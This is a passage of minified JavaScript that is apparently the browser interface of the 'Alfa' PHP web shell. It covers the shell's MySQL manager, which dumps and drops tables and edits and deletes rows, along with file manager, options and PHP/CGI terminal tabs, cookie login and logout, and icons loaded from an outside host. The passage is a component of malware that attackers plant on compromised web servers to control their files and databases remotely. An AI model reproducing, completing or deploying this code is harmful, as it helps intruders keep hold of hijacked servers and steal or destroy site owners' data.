alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 